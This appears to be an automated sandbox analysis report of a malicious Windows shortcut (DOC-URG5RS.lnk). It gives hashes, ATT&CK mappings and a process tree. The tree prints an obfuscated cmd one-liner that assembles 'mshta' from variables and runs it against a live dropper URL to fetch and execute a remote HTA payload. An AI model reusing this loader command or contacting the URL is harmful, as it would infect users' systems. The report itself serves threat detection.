b5e915125df5f63404e7c139437e32619d671be4b98683edb5f23704f97f0b21

Analysis

max time kernel
40s
max time network
43s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 17:58

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General

Target
DOC-URG5RS.lnk
Size 1KB
Sample260803-wknrbavcph
SHA256 b5e915125df5f63404e7c139437e32619d671be4b98683edb5f23704f97f0b21
MD5 921ea7b2893629b9e3f5b053fa39e3b7
SHA1 8e08972eca1098cbc41b878d349c362cf3a6e8b1
SHA512 9f38c055b2842a71843ad7b87a9d37a8fef0d0f80fdacd4a01b1741bd5c1d4bae964b6697f46b7c61dd5c38eb4813ba3026f6da5898298c68fb72baa6a89237d
TLSH
T1333197103FED0624F3B38E7394FB672085BBB8A58D20CA2D0180450C1032A15E17AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2096	cmd.exe
1808	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2096 wrote to memory of 1808	2096	cmd.exe	89
PID 1808 wrote to memory of 2224	1808	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-URG5RS.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2096
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set yx=msh&&set IBkzZ=ta&&start "" !yx!!IBkzZ! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1808
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:2224

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads